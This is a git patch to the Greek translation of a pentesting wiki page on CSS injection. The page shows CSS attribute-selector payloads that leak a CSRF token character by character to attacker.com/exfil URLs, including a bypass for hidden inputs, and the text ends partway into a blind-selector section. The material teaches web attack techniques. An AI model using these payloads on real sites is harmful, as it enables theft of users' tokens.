From ecb42d1c327eecb76fac5b6e6a25633493fd4f7b Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 29 Aug 2025 00:17:49 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md'] --- .../xs-search/css-injection/README.md | 242 ++++++++++-------- 1 file changed, 142 insertions(+), 100 deletions(-) diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index c600d8602..fc2566b79 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -4,9 +4,9 @@ ## CSS Injection -### Επιλογέας Χαρακτηριστικού +### Attribute Selector -Οι επιλεγείς CSS είναι σχεδιασμένοι να ταιριάζουν με τις τιμές των χαρακτηριστικών `name` και `value` ενός στοιχείου `input`. Εάν η τιμή του χαρακτηριστικού του στοιχείου εισόδου αρχίζει με έναν συγκεκριμένο χαρακτήρα, φορτώνεται ένας προκαθορισμένος εξωτερικός πόρος: +Οι CSS selectors κατασκευάζονται για να ταιριάζουν με τις τιμές των attributes `name` και `value` ενός στοιχείου `input`. Αν το attribute `value` του στοιχείου `input` ξεκινά με έναν συγκεκριμένο χαρακτήρα, φορτώνεται ένας προκαθορισμένος εξωτερικός πόρος: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -Ωστόσο, αυτή η προσέγγιση αντιμετωπίζει έναν περιορισμό όταν ασχολείται με κρυφά στοιχεία εισόδου (`type="hidden"`) επειδή τα κρυφά στοιχεία δεν φορτώνουν φόντα. +Ωστόσο, αυτή η προσέγγιση αντιμετωπίζει έναν περιορισμό όταν έχουμε να κάνουμε με κρυφά στοιχεία input (`type="hidden"`), επειδή τα κρυφά στοιχεία δεν φορτώνουν εικόνες φόντου. #### Παράκαμψη για Κρυφά Στοιχεία -Για να παρακάμψετε αυτόν τον περιορισμό, μπορείτε να στοχεύσετε ένα επόμενο αδελφό στοιχείο χρησιμοποιώντας τον γενικό συνδυαστή αδελφών `~`. Ο κανόνας CSS στη συνέχεια εφαρμόζεται σε όλα τα αδέλφια που ακολουθούν το κρυφό στοιχείο εισόδου, προκαλώντας τη φόρτωση της εικόνας φόντου: +Για να παρακαμφθεί αυτός ο περιορισμός, μπορείτε να στοχεύσετε ένα επόμενο αδελφικό στοιχείο χρησιμοποιώντας τον `~` γενικό συνδυαστή αδελφικού στοιχείου. Ο κανόνας CSS εφαρμόζεται τότε σε όλα τα αδελφικά στοιχεία που ακολουθούν το κρυφό στοιχείο input, προκαλώντας τη φόρτωση της εικόνας φόντου: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -Ένα πρακτικό παράδειγμα εκμετάλλευσης αυτής της τεχνικής περιγράφεται στο παρεχόμενο απόσπασμα κώδικα. Μπορείτε να το δείτε [εδώ](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +Ένα πρακτικό παράδειγμα εκμετάλλευσης αυτής της τεχνικής περιγράφεται στο παρεχόμενο απόσπασμα κώδικα. Μπορείτε να το δείτε [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). #### Προαπαιτούμενα για CSS Injection Για να είναι αποτελεσματική η τεχνική CSS Injection, πρέπει να πληρούνται ορισμένες προϋποθέσεις: -1. **Μήκος Payload**: Ο φορέας CSS injection πρέπει να υποστηρίζει επαρκώς μεγάλα payloads για να φιλοξενήσει τους κατασκευασμένους επιλεγείς. -2. **Επαναξιολόγηση CSS**: Πρέπει να έχετε τη δυνατότητα να πλαισιώσετε τη σελίδα, κάτι που είναι απαραίτητο για να ενεργοποιηθεί η επαναξιολόγηση του CSS με τα νεοπαραγόμενα payloads. -3. **Εξωτερικοί Πόροι**: Η τεχνική υποθέτει τη δυνατότητα χρήσης εξωτερικά φιλοξενούμενων εικόνων. Αυτό μπορεί να περιορίζεται από την Πολιτική Ασφαλείας Περιεχομένου (CSP) της ιστοσελίδας. +1. **Payload Length**: Ο CSS injection vector πρέπει να υποστηρίζει επαρκώς μακρά payloads ώστε να χωράνε οι crafted selectors. +2. **CSS Re-evaluation**: Πρέπει να έχετε τη δυνατότητα να frame-άρετε τη σελίδα, κάτι που είναι απαραίτητο για να ενεργοποιηθεί η επανααξιολόγηση του CSS με νεοδημιουργημένα payloads. +3. **External Resources**: Η τεχνική προϋποθέτει τη δυνατότητα χρήσης εικόνων που φιλοξενούνται εξωτερικά. Αυτό μπορεί να περιορίζεται από την Content Security Policy (CSP) του site. ### Blind Attribute Selector -Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://portswigger.net/research/blind-css-exfiltration), είναι δυνατόν να συνδυαστούν οι επιλεγείς **`:has`** και **`:not`** για να εντοπιστεί περιεχόμενο ακόμη και από τυφλά στοιχεία. Αυτό είναι πολύ χρήσιμο όταν δεν έχετε ιδέα τι υπάρχει μέσα στη σελίδα που φορτώνει το CSS injection.\ -Είναι επίσης δυνατό να χρησιμοποιηθούν αυτοί οι επιλεγείς για να εξαχθεί πληροφορία από αρκετά μπλοκ του ίδιου τύπου όπως σε: +As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\ +It's also possible to use those selectors to extract information from several block of the same type like in: ```html